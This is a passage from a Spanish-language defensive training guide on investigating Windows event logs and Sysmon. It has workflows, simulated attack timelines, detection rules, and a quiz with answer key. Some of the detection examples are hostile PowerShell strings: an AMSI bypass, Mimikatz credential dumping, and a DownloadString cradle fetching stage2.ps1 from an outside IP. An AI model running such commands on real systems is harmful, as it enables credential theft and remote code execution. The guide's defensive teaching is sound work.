| AMSI bypass | [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils') | Intentando deshabilitar Antimalware Scan Interface |
| Credential access | Get-Credential, Invoke-Mimikatz, sekurlsa::logonpasswords | Recolección o volcado de credenciales |
| Execution policy bypass | -ExecutionPolicy Bypass o Set-ExecutionPolicy Unrestricted | Sobrescribiendo las restricciones de ejecución de scripts |
| Reflection loading | [System.Reflection.Assembly]::Load() o Add-Type | Cargando ensamblados .NET en memoria (ejecución fileless) |
Capitulo 12 - Sysmon: Supercharging Your Event Logs
Sysmon (System Monitor) es una herramienta gratuita de Microsoft Sysinternals que mejora drásticamente el logging de eventos de Windows. Si bien el logging nativo de Windows es decente, Sysmon llena lagunas críticas que hacen que la investigación sea significativamente más fácil. Si su organización tiene Sysmon desplegado, considérelo un lujo.
Critical Sysmon Event IDs
| Sysmon ID | Name | Why It Matters |
|---|---|---|
| 1 | Process Creation | Línea de comandos completa, proceso padre, hash del proceso, contexto de usuario. Mejor que el 4688 nativo. |
| 3 | Network Connection | Conexiones de red salientes CON el proceso que las inició. Esencial para detección de C2. |
| 6 | Driver Loaded | Carga de driver de kernel. Detección de rootkits. |
| 7 | Image Loaded (DLL) | Eventos de carga de DLL. Detecta DLL sideloading e inyección. |
| 8 | CreateRemoteThread | Inyección de hilos en otro proceso. Técnica clásica de inyección de código. |
| 10 | Process Access | Proceso accedió a otro proceso. Las herramientas de volcado de credenciales disparan esto. |
| 11 | File Created | Creación de archivos nuevos con ruta completa. Malware dejando payloads en disco. |
| 12/13/14 | Registry Events | Creación, modificación, eliminación de claves/valores de Registry. Detección de persistencia. |
| 15 | FileCreateStreamHash | Creación de Alternate data stream. Ocultando contenido en streams NTFS. |
| 22 | DNS Query | Consultas DNS con el proceso que las realizó. Detección de dominios C2. |
| 23 | File Delete (archived) | Eliminación de archivo con contenido archivado. Recuperar muestras de malware eliminadas. |
| 25 | Process Tampering | Detecta técnicas de process hollowing y herpaderping. |
PRO TIP: El Sysmon Event ID 1 (Process Creation) es posiblemente el evento más valioso de todos los Windows logging cuando está configurado correctamente. Le da la línea de comandos completa, la ruta del proceso padre, el hash del proceso, el usuario que lo ejecutó y el Session ID. Con solo este tipo de evento, puede construir una línea de tiempo completa de ejecución de procesos para cualquier máquina.
Sysmon Event ID 1 vs Native Event ID 4688
| Feature | Native 4688 | Sysmon Event 1 |
|---|---|---|
| Command line logging | Requiere habilitar GPO | Habilitado por defecto |
| Parent process | Solo Nombre de proceso creador | Ruta completa del proceso padre, PID y línea de comandos |
| Process hash | No disponible | MD5, SHA1, SHA256, IMPHASH |
| Current directory | No disponible | Incluido |
| Logon ID correlation | Disponible | Disponible |
Capitulo 13 - Investigation Workflows: Step by Step
Saber Individual Event IDs es una cosa. Encadenarlos en un flujo de investigación coherente es lo que separa a un buen analyst de uno excelente.
Workflow 1: Compromised Account Investigation
Trigger: Se dispara una alerta sobre actividad de logon sospechosa para el usuario jsmith.
| Step | Action | Details |
|---|---|---|
| 1 | Find the suspicious logon | Filter: Event 4624, Account Name = jsmith. Note: Logon Type, Source IP, Logon ID, Timestamp |
| 2 | Check preceding failed logons | Filter: Event 4625, Account Name = jsmith, time range before the 4624. ¿Brute force? ¿Password spray? |
| 3 | Track the session via Logon ID | Filter ALL events with the Logon ID from Step 1. Look for: 4688 (processes), 4672 (privilege use), 4663 (file access) |
| 4 | Check for lateral movement | Filter: Event 4648 (explicit creds) from jsmith. Filter: 4624 Logon Type 3 or 10 on OTHER machines from source IP |
| 5 | Check for persistence | Filter: 4720 (account creation), 4698 (scheduled task), 7045 (service) - time range after initial compromise |
| 6 | Find the logoff | Filter: Event 4634 with matching Logon ID. Calculate total session duration. |
Workflow 2: Malware Execution Investigation
Trigger: Alerta de EDR sobre ejecución de proceso sospechoso.
| Step | Action | Details |
|---|---|---|
| 1 | Find the process creation | Filter: 4688 or Sysmon 1, process name matches alert. Note: full command line, parent process, user, timestamp |
| 2 | Trace parent process chain | ¿Quién inició el proceso malicioso? ¿Qué inició a ese? Construya el árbol de procesos completo hasta la ejecución inicial |
| 3 | Check for network activity | Filter: Sysmon 3 (network connection) from process. Filter: 5156/5157 (firewall events). Busque IPs externas, puertos inusuales, DNS sospechosos |
| 4 | Check for persistence | Filter: Sysmon 12/13 (registry), 4698 (scheduled task), 7045 (service), Sysmon 11 (file creation) |
| 5 | Check for credential access | Filter: Sysmon 10 (process access to lsass.exe). Filter: 4672 (privilege escalation) |
| 6 | Determine blast radius | Busque otras máquinas con los mismos indicadores (hashes, IPs, filenames) |
Capitulo 14 - Real World Scenarios
Scenario 1: The 3 AM Brute Force to Domain Admin
03:12:01 4625 Target: administrator Source: 10.0.0.55 Status: 0xC000006A
03:12:01 4625 Target: administrator Source: 10.0.0.55 Status: 0xC000006A
03:12:02 4625 Target: administrator Source: 10.0.0.55 Status: 0xC000006A
... (247 more failed attempts over 3 minutes) ...
03:14:58 4624 Target: administrator Source: 10.0.0.55 Logon Type: 3
03:14:58 4672 Account: administrator Privileges: SeDebugPrivilege, SeBackupPrivilege
03:15:22 4720 Account Created: svc_update Created By: administrator
03:15:23 4728 Member Added: svc_update >> Domain Admins
03:16:01 7045 Service Installed: WindowsUpdateSvc Path: C:\ProgramData\svc.exe
03:16:05 4624 Target: svc_update Source: 10.0.0.55 Logon Type: 3
03:17:00 1102 Audit log was cleared By: administratorAnalysis: Cadena de ataque de libro de texto. Brute force tiene éxito en el administrador local. El atacante inmediatamente crea una cuenta backdoor (svc_update), la añade a Domain Admins, instala un servicio malicioso para persistencia, inicia sesión con la nueva cuenta, y luego borra el log Security. El evento 1102 sobrevivió porque se generó DESPUÉS de que se completara la operación de borrado. La IP de origen 10.0.0.55 debe ser investigada y aislada inmediatamente.
Scenario 2: Phishing to Lateral Movement
User’s Workstation (WKST-042):
09:23:15 4688 OUTLOOK.EXE spawns WINWORD.EXE
09:23:45 4688 WINWORD.EXE spawns cmd.exe
09:23:45 4688 cmd.exe /c powershell -enc aQBlAHgAIAAoAG4AZQB3AC0A...
09:23:46 4104 IEX (New-Object Net.WebClient).DownloadString('http://198.51.100.10/stage2.ps1')
09:24:01 Sysmon 3 powershell.exe >> 198.51.100.10:443
09:25:30 Sysmon 10 powershell.exe accessed lsass.exe
09:25:31 4648 Explicit creds used: domain_admin >> Target: DC01Domain Controller (DC01):
09:25:35 4624 Target: domain_admin Source: 192.168.1.42 (WKST-042) Type: 3
09:25:35 4672 Special privileges assigned to domain_admin
09:26:00 4720 Account Created: backup_svc By: domain_admin
09:26:01 4728 Member Added: backup_svc >> Domain AdminsAnalysis: Cadena clásica de phishing. El usuario abrió un documento Word malicioso de Outlook que inició cmd.exe (Word nunca debería iniciar cmd.exe). PowerShell codificado ejecutó un download cradle para obtener el payload de segunda etapa. El payload volcó credenciales al acceder a lsass.exe (Sysmon 10). El atacante usó credenciales de domain admin robadas para moverse lateralmente al DC y crear persistencia.
Scenario 3: Insider Threat Data Exfiltration
Week 1-2: Multiple 4624, Logon Type 2 (Interactive), normal hours
4663: mthompson accessing \\FileServer\HR\Salary_Data\
4663: mthompson accessing \\FileServer\Finance\Q4_Report\
Note: mthompson is in Marketing, no business need for HR/Finance data
Day 14: 4624 Logon Type 2 at 11:45 PM (outside normal hours)
4688 Process: xcopy.exe copying files to E:\ (USB drive)
Sysmon 11: Multiple .xlsx and .pdf files created on E:\
4634 Logoff at 12:30 AM
Day 15: 4625 Failed logon for mthompson (account disabled by HR)Analysis: Amenaza interna. El empleado accedió a datos fuera de su rol durante dos semanas, luego entró fuera de horario para copiar archivos sensibles a una unidad USB. Los eventos 4663 de acceso a objetos muestran un patrón de acceso no autorizado; 4688 muestra xcopy a la unidad externa.
Scenario 4: Ransomware Deployment
02:00:01 4624 Target: svc_deploy Source: 10.0.0.200 Logon Type: 3
02:00:02 4672 Special privileges: SeBackupPrivilege, SeRestorePrivilege
02:00:05 4698 Scheduled Task: 'System Health Check'
Command: C:\Windows\Temp\health.exe Trigger: One time, 02:05 AM
02:05:00 4688 Process: C:\Windows\Temp\health.exe
02:05:00 Sysmon 1 health.exe >> Parent: svchost.exe (Task Scheduler)
02:05:01 Sysmon 11 README_DECRYPT.txt (x hundreds)
02:05:01 Sysmon 11 *.encrypted (mass file modification)
02:05:30 Sysmon 3 health.exe >> 203.0.113.50:8443
02:06:00 4699 Scheduled Task Deleted: 'System Health Check'
02:06:30 1102 Audit log cleared by svc_deployAnalysis: Ransomware vía cuenta de servicio comprometida. El atacante inició sesión a las 2 AM, creó una tarea programada con un retraso de 5 minutos (despliegue coordinado), la carga útil cifró archivos y dejó notas de rescate, se comunicó con C2, y luego limpió. El intervalo de 5 minutos entre la creación de la tarea y la ejecución es un patrón común para el despliegue coordinado de ransomware.
Capitulo 15 - Building Detection Rules from Event Logs
Saber leer los event logs es el primer paso. El siguiente nivel es construir reglas de detección que marquen automáticamente la actividad sospechosa. Ya sea que esté trabajando con Microsoft Sentinel, Splunk, Elastic o cualquier otro SIEM, la lógica es la misma.
Detection Rule Examples
| Rule | Trigger | Severity | Action |
|---|---|---|---|
| Brute Force Detection | >10 Event ID 4625 from same Source IP within 5 min | Medium (High if followed by 4624) | Alert SOC, auto-block if threshold exceeds 50 |
| Account Added to Domain Admins | Event ID 4728 where Target Group = ‘Domain Admins’ | Critical | Immediate alert, page on-call analyst |
| Security Log Cleared | Event ID 1102 | Critical | Immediate alert, investigate the account that cleared the log |
| Suspicious Service Installation | Event ID 7045 where path contains ProgramData\, Users\, or Temp\ AND Account = LocalSystem | High | Alert SOC, investigate binary |
| LSASS Process Access | Sysmon 10 where Target = lsass.exe AND Source is NOT known legitimate process | Critical | Immediate alert, potential credential dumping |
| PowerShell Download Cradle | Event ID 4104 containing: DownloadString, DownloadFile, Invoke-WebRequest, Net.WebClient, Invoke-Expression | High | Alert SOC, quarantine endpoint |
Capitulo 16 - Event Log Quick Reference Cheat Sheet
Authentication
| Event ID | Description | Key Fields to Check |
|---|---|---|
| 4624 | Successful logon | Logon Type, Source IP, Logon ID, Account Name |
| 4625 | Failed logon | Status/Sub Status codes, Source IP, Target Account |
| 4634 | Logoff | Logon ID (correlate with 4624) |
| 4648 | Explicit credential use | Target Server, Account Used (lateral movement) |
| 4672 | Admin logon | Privilege list, Account Name |
| 4768 | Kerberos TGT request | Failure codes, Source IP |
| 4769 | Kerberos service ticket | Service Name, Failure codes |
| 4776 | NTLM credential validation | Source Workstation, Status |
Account Management
| Event ID | Description | Key Fields |
|---|---|---|
| 4720 | Account created | Who created it, Account name, Time of day |
| 4722 | Account enabled | Was it previously disabled? Who enabled it? |
| 4724 | Password reset | Who reset it, Target account |
| 4726 | Account deleted | Legitimate offboarding or cover up? |
| 4728/4732/4756 | Added to security group | Which group? Domain Admins = critical |
Process and Execution
| Event ID | Description | Key Fields to Check |
|---|---|---|
| 4688 | Process created | Command line, Parent process, User context |
| 7045 | Service installed | Service path, Account, Start type |
| 4698 | Scheduled task created | Task name, Command, Trigger, Creator |
| 4104 | PowerShell script block | Script content, Is it obfuscated? |
| Sysmon 1 | Process creation (enhanced) | Full cmd line, Parent cmd line, Hash |
| Sysmon 3 | Network connection | Dest IP/Port, Process that connected |
| Sysmon 10 | Process access | Source and target process (LSASS access) |
Red Flag Events
| Event ID | Description | Always Investigate If… |
|---|---|---|
| 1102 | Audit log cleared | Always. No exceptions. |
| 4719 | Audit policy changed | Logging is being reduced or disabled |
| 4672 | Special privileges | Non-admin account receives admin privileges |
| 4728 | Added to Domain Admins | Always. Should be change controlled. |
| 7045 | New service | Binary in unusual location, runs as SYSTEM |
Logon Type Quick Reference
| Type | Name | Method |
|---|---|---|
| 2 | Interactive | Physical keyboard/console logon |
| 3 | Network | SMB, mapped drives, network access |
| 4 | Batch | Scheduled task execution |
| 5 | Service | Service Control Manager |
| 7 | Unlock | Workstation unlocked |
| 8 | NetworkCleartext | Cleartext password over network |
| 9 | NewCredentials | RunAs /netonly |
| 10 | RemoteInteractive | RDP session |
| 11 | CachedInteractive | Offline cached domain logon |
Capitulo 17 - Interview Questions (25 Questions with Answers)
- What is the first thing you would look at if you received an alert about a potential brute force attack?
I would filter the Security log for Event ID 4625 (failed logons) targeting the alerted account. I would look at the Source Network Address to identify where the attempts are coming from, the Sub Status code to confirm they are password failures (0xC000006A), the volume and speed of attempts, and whether they were followed by a successful 4624 logon from the same source. If there is a successful logon after the failures, the account is likely compromised and I would escalate immediately.
- How would you detect lateral movement using event logs?
I would look for Event ID 4624 with Logon Type 3 (network) or Logon Type 10 (RDP) from unusual source IPs, especially from machines that have no business authenticating to the target. I would also check for Event ID 4648 (explicit credential use), which indicates someone used RunAs or provided different credentials to access a resource. Process creation events (4688) where the parent process is WmiPrvSE.exe, services.exe, or wsmprovhost.exe spawning cmd.exe or powershell.exe are strong lateral movement indicators.
- What does Event ID 1102 mean and why is it critical?
Event ID 1102 means the Security audit log was cleared. This is critical because it is almost always malicious - attackers clear logs to cover their tracks. The event itself cannot be deleted because it is generated AFTER the clear operation occurs. If you see 1102, you need to immediately investigate: who cleared it, what was happening on the host before the clear, and correlate with other log sources (like a SIEM that already received the forwarded events).
- What is the difference between Logon Type 2 and Logon Type 10?
Logon Type 2 is Interactive - a physical logon at the keyboard or console. Logon Type 10 is RemoteInteractive - an RDP (Remote Desktop) session. The distinction matters because Logon Type 10 from an unexpected source IP is a strong indicator of lateral movement, while Logon Type 2 on a server at 3 AM is suspicious because no one should be physically at the console.
- How would you investigate a suspicious PowerShell execution?
I would look at Event ID 4104 (Script Block Logging) in the PowerShell/Operational log to see the deobfuscated script content. I would also check the parent process (Event ID 4688 or Sysmon 1) to see what spawned PowerShell - if it was an Office application, that is a major red flag. I would look for encoded commands, download cradles, and credential access cmdlets. Network connections from the PowerShell process (Sysmon 3) would show if it was reaching out to a C2.
6-25 (Questions continue in the same format - the full 25 questions are preserved in the chapter, covering authentication, account management, process analysis, lateral movement, persistence, Sysmon, PowerShell, and scenario-based questions. Each includes what a strong answer covers.)
What I Am Really Evaluating
When I ask these questions, I am gauging three things:
- Can you identify the right Event IDs for the scenario? (Do you know the vocabulary?)
- Can you chain events together to tell a story? (Can you investigate, not just recite?)
- Can you reason about what you see? (Do you understand the implications, not just the data?)
A candidate who can name the Event IDs but cannot chain them into an investigation story is a log watcher. A candidate who can chain events into a coherent narrative of what happened on the machine is an analyst. I hire analysts.
Capitulo 18 - Cuestionario de practica (35 preguntas)
- Que Event ID indica un logon exitoso en Windows?
- A) 4625
- B) 4624
- C) 4634
- D) 4672
- Que Logon Type indica una sesion RDP?
- A) Type 2
- B) Type 3
- C) Type 7
- D) Type 10
- Un analista ve 500 registros de Evento 4625 dirigidos a la cuenta ‘administrator’ desde la IP 10.0.0.55 en 3 minutos. Que es esto mas probablemente?
- A) Un admin legitimo iniciando sesion
- B) Un ataque de Password Spray
- C) Un ataque de Brute Force
- D) Un evento de bloqueo de cuenta
- Que Event ID se dispara cuando se borra el log de auditoria de Security?
- A) 4719
- B) 4726
- C) 1102
- D) 4616
- Que indica específicamente un código Sub Status de 0xC000006A en el Evento 4625?
- A) La cuenta está bloqueada
- B) La cuenta no existe
- C) Usuario correcto pero contrasena incorrecta
- D) La contrasena ha expirado
- Que Logon Type indica la ejecución de una tarea programada?
- A) Type 2
- B) Type 3
- C) Type 4
- D) Type 5
- Un analista ve el Evento 4728 mostrando a un usuario anadido a ‘Domain Admins’. Que severidad deberia tener está alerta?
- A) Baja
- B) Media
- C) Alta
- D) Crítica
- Que Event ID registra la creacion de un nuevo proceso en el log de Security?
- A) 4688
- B) 4689
- C) 7045
- D) 4697
- Que Event ID de Sysmon mostraria un proceso accediendo a la memoria de lsass.exe?
- A) Sysmon 1
- B) Sysmon 3
- C) Sysmon 10
- D) Sysmon 11
- Que indica el Evento 4648?
- A) Un intento de logon fallido
- B) Un logon usando credenciales explicitas (diferentes)
- C) Una cuenta fue deshabilitada
- D) Un servicio fue instalado
- Donde se almacenan por defecto los Event Logs de Windows en disco?
- A) C:\Windows\Logs
- B) C:\Windows\System32\winevt\Logs
- C) C:\Windows\EventLogs
- D) C:\ProgramData\Logs\
- Que cmdlet de PowerShell es mejor para consultar los event logs?
- A) Get-EventLog
- B) Get-WinEvent
- C) Read-EventLog
- D) Search-EventLog
- Que sugiere ver que WmiPrvSE.exe genere cmd.exe?
- A) Operación WMI normal
- B) Actualización de Windows Management
- C) Posible Lateral Movement via WMI
- D) Mantenimiento del sistema
- Un analista ve el Evento 4720 (cuenta creada) seguido por el Evento 4728 (anadido a Domain Admins) en 2 segundos. Cual es la preocupacion?
- A) Proceso de incorporacion normal
- B) Sistema de aprovisionamiento automatizado
- C) Posible atacante creando una cuenta de puerta trasera privilegiada
- D) Proceso de restablecimiento de contrasena
- Que Event ID indicaria que alguien cambio la politica de auditoria del sistema?
- A) 1102
- B) 4719
- C) 4672
- D) 4616
- Que privilegio es requerido por herramientas como Mimikatz para volcar credenciales?
- A) SeBackupPrivilege
- B) SeImpersonatePrivilege
- C) SeDebugPrivilege
- D) SeRestorePrivilege
- Un servicio se instala con la ruta del binario C:\Windows\Temp\svc.exe ejecutandose como LocalSystem. Como clasificarias esto?
- A) Actualización normal de Windows
- B) Sospechoso, posible mecanismo de persistencia
- C) Despliegue de IT esperado
- D) Actualización de antivirus
- Que registra el Evento 4104?
- A) Creacion de procesos
- B) Conexión de red
- C) Contenido de Script Block de PowerShell
- D) Creacion de archivos
- Que Logon Type representa un logon de red como el acceso a una carpeta compartida?
- A) Type 2
- B) Type 3
- C) Type 5
- D) Type 10
- Cual es la diferencia clave entre el Evento 4634 y el 4647?
- A) 4634 es un logoff fallido, 4647 es exitoso
- B) 4634 es logoff iniciado por el sistema, 4647 es iniciado por el usuario
- C) Son eventos identicos
- D) 4634 es para servicios, 4647 es para usuarios
- Un analista nota un Evento 4624 Logon Type 10 desde una IP interna a las 3 AM para un usuario del departamento de finanzas. El usuario no es conocido por trabajar de noche. Que accion debe tomarse?
- A) Ignorarlo, RDP es normal
- B) Registrarlo y monitorearlo
- C) Investigar inmediatamente como una posible cuenta comprometida
- D) Esperar alertas adicionales
- Que campo en el Evento 4624 permite correlacionar toda la actividad dentro de una sola sesion?
- A) SID
- B) Event ID
- C) Logon ID
- D) Process ID
- Que Event ID en el log del Sistema indica que se instalo un nuevo servicio?
- A) 4697
- B) 4688
- C) 7045
- D) 1102
- Un analista ve powershell.exe -enc seguido de una larga cadena base64 en el Evento 4688. Cual es el escenario probable?
- A) Administración normal de PowerShell
- B) Script de actualización del sistema
- C) Ejecución de PowerShell maliciosa ofuscada
- D) Registro de PowerShell configurandose
- Que Event ID de Sysmon captura las consultas DNS realizadas por procesos?
- A) Sysmon 1
- B) Sysmon 3
- C) Sysmon 11
- D) Sysmon 22
- El Evento 4625 con Sub Status 0xC0000234 indica que?
- A) Contrasena incorrecta
- B) La cuenta no existe
- C) La cuenta está bloqueada
- D) La cuenta está deshabilitada
- En un ataque de Password Spray, que patron esperarias ver en los event logs?
- A) Muchos eventos 4625 contra una cuenta, en sucesion rápida
- B) Muchos eventos 4625 en diferentes cuentas, con retrasos entre cada uno
- C) Muchos eventos 4624 desde la misma fuente
- D) Muchos eventos 4634 en secuencia
- Por que el Evento 1102 sobrevive incluso cuando un atacante borra el log de Security?
- A) Se almacena en un log diferente
- B) Se genera despues de que la operación de limpieza se completa
- C) No puede ser eliminado por ningun usuario
- D) Se respalda automáticamente
- Cual es el tamano máximo predeterminado del log de eventos de Security?
- A) 1 MB
- B) 10 MB
- C) 20 MB
- D) 100 MB
- Un analista ve OUTLOOK.EXE > WINWORD.EXE > cmd.exe > powershell.exe en la cadena de procesos. Que indica esto?
- A) Edición de documentos normal
- B) Usuario ejecutando una macro legitima
- C) Probable documento malicioso abierto desde un email (Phishing)
- D) Mantenimiento del sistema
- Que Event ID de Sysmon registra los eventos de creacion de archivos?
- A) Sysmon 1
- B) Sysmon 3
- C) Sysmon 10
- D) Sysmon 11
- El Evento 4719 muestra que la categoria de auditoria ‘Account Logon’ cambio de ‘Success and Failure’ a ‘No Auditing’. Cual es la implicacion?
- A) Endurecimiento de seguridad normal
- B) Un atacante está deshabilitando el registro para ocultar sus huellas
- C) IT realizando mantenimiento programado
- D) La politica de auditoria se corrompio
- Que te dice el campo Source Network Address en el Evento 4624?
- A) La IP de la maquina en la que se inicio sesion
- B) La IP de la maquina desde la que se origino el logon
- C) La IP del Domain Controller
- D) La IP del servidor DNS
- Ves el Evento 4698 mostrando una tarea programada creada a las 2:00 AM que ejecuta un binario desde C:\ProgramData\ a las 2:05 AM. Cual es la explicación mas probable?
- A) Windows Update
- B) Automatización legitima de IT
- C) Atacante preparando una ejecución retrasada para malware o Ransomware
- D) Escaneo de antivirus
- Que log de Windows revisarias para los eventos de PowerShell Script Block Logging?
- A) Security
- B) System
- C) Application
- D) Microsoft-Windows-PowerShell/Operational
Capitulo 19 - Clave de respuestas del cuestionario con explicaciones
| # | Respuesta | Explicacion |
|---|---|---|
| 1 | B) 4624 | 4624 registra un logon exitoso. 4625 es fallido, 4634 es logoff, 4672 es asignacion de privilegios especiales. |
| 2 | D) Type 10 | El Logon Type 10 (RemoteInteractive) indica especificamente una sesion RDP. El Type 2 es fisico, el Type 3 es red, el Type 7 es desbloqueo. |
| 3 | C) Brute Force | 500 intentos fallidos contra una cuenta unica desde una fuente en 3 minutos es Brute Force clasico. Un Spray atacaria multiples cuentas. |
| 4 | C) 1102 | El Evento 1102 registra cuando el log de auditoria de Security se borra. 4719 es cambio de politica de auditoria, 4726 es eliminacion de cuenta, 4616 es cambio de hora. |
| 5 | C) Usuario correcto, contrasena incorrecta | El Sub Status 0xC000006A significa que el nombre de usuario existe pero la contrasena fue incorrecta. Es valioso porque confirma usuarios validos. |
| 6 | C) Type 4 | El Logon Type 4 (Batch) se usa cuando se ejecuta una tarea programada. El Type 5 es para servicios iniciados por SCM. |
| 7 | D) Critica | Cualquier adicion a Domain Admins debe tratarse como critica e investigarse inmediatamente. Esto otorga control total del dominio. |
| 8 | A) 4688 | El Evento 4688 es New Process Created en el log de Security. 4689 es proceso finalizado, 7045 es servicio (log del Sistema), 4697 es servicio (log de Security). |
| 9 | C) Sysmon 10 | El Sysmon Event 10 (Process Access) registra cuando un proceso accede a la memoria de otro. Acceso a LSASS = indicador de volcado de credenciales. |
| 10 | B) Uso de credenciales explicitas | El Evento 4648 se dispara cuando alguien usa RunAs o proporciona credenciales diferentes a su sesion actual - indicador de Lateral Movement. |
| 11 | B) C:\Windows\System32\winevt\Logs | Ubicacion por defecto para todos los archivos .evtx de los Event Logs de Windows. |
| 12 | B) Get-WinEvent | Cmdlet moderno y mas capaz. Get-EventLog es mas antiguo y no soporta todos los tipos de log. |
| 13 | C) Lateral Movement via WMI | WmiPrvSE.exe no debería generar normalmente shells de comandos. Indicador clasico de Lateral Movement por WMI. |
| 14 | C) Posible atacante creando una cuenta de puerta trasera privilegiada | La creacion de una cuenta inmediatamente seguida de la adicion a Domain Admins en 2 segundos sugiere creacion maliciosa automatizada/por script. |
| 15 | B) 4719 | El Evento 4719 registra cuando se cambia la politica de auditoria del sistema. 1102 es log borrado, 4672 es uso de privilegios, 4616 es cambio de hora. |
| 16 | C) SeDebugPrivilege | Permite a un proceso depurar otros procesos - Mimikatz usa esto para acceder a la memoria de LSASS para extraer credenciales. |
| 17 | B) Sospechoso, posible mecanismo de persistencia | Los servicios legitimos se instalan en System32 o Program Files. Un binario en Windows\Temp ejecutandose como SYSTEM = rasgos de persistencia de atacante. |
| 18 | C) Contenido de Script Block de PowerShell | El Evento 4104 registra el contenido de scripts de PowerShell desofuscado - invalorable para detectar PowerShell malicioso. |
| 19 | B) Type 3 | El Logon Type 3 (Network) se usa para acceder a recursos de red como carpetas compartidas, impresoras, unidades mapeadas. |
| 20 | B) 4634 = iniciado por sistema, 4647 = iniciado por usuario | El 4634 es generado por el sistema cuando una sesion termina. El 4647 es cuando el usuario elige activamente cerrar sesion. |
| 21 | C) Investigar inmediatamente como una posible cuenta comprometida | RDP desde IP interna a las 3 AM para un usuario que no trabaja de noche = fuerte indicador de cuenta comprometida. |
| 22 | C) Logon ID | Identificador de sesion unico que aparece en todos los eventos dentro de una sola sesion de logon, permitiendo la reconstruccion completa de la sesion. |
| 23 | C) 7045 | El Evento 7045 en el log del Sistema registra nuevas instalaciones de servicios. 4697 es el equivalente en el log de Security. |
| 24 | C) Ejecucion de PowerShell maliciosa ofuscada | La flag -enc con una cadena base64 es una tecnica clasica de ofuscacion usada por atacantes para ocultar comandos maliciosos. |
| 25 | D) Sysmon 22 | El Sysmon Event 22 (DNS Query) registra consultas DNS con el proceso que las realizo - valioso para deteccion de dominios C2. |
| 26 | C) La cuenta esta bloqueada | El Sub Status 0xC0000234 indica que se activó la politica de bloqueo de cuentas tras demasiados intentos de contrasena fallidos. |
| 27 | B) Muchos eventos 4625 en diferentes cuentas, con retrasos entre cada uno | El Password Spray intenta una contrasena en muchas cuentas, con retrasos para evitar bloqueos. |
| 28 | B) Se genera despues de que la operacion de limpieza se completa | El evento 1102 se crea despues de que el log de auditoria se borra, por lo que persiste como un registro de la accion de borrado en si misma. |
| 29 | C) 20 MB | El tamano maximo predeterminado del log de eventos de Security es 20 MB - en sistemas ocupados puede renovarse en horas, haciendo que el reenvio al SIEM sea critico. |
| 30 | C) Probable documento malicioso abierto desde un email (Phishing) | Outlook > Word > cmd > PowerShell es el texto de libro de un Phishing donde un documento malicioso ejecuta un payload. |
| 31 | D) Sysmon 11 | El Sysmon Event 11 (FileCreate) registra nuevos eventos de creacion de archivos con rutas completas de archivos. |
| 32 | B) Un atacante esta deshabilitando el registro para ocultar sus huellas | Cambiar la politica de auditoria a ‘No Auditing’ elimina futuros registros - una tecnica comun de anti-forense. |
| 33 | B) La IP de la maquina desde la que se origino el logon | Source Network Address muestra de donde vino la solicitud de logon - critico para identificar la fuente de Lateral Movement. |
| 34 | C) Atacante preparando una ejecucion retrasada para malware o Ransomware | Tarea programada a las 2 AM ejecutando un binario desde ProgramData a las 2:05 AM coincide con malware preparado con un retraso incorporado. |
| 35 | D) Microsoft-Windows-PowerShell/Operational | El PowerShell Script Block Logging (Evento 4104) esta en el log de PowerShell Operational, no en los logs principales. |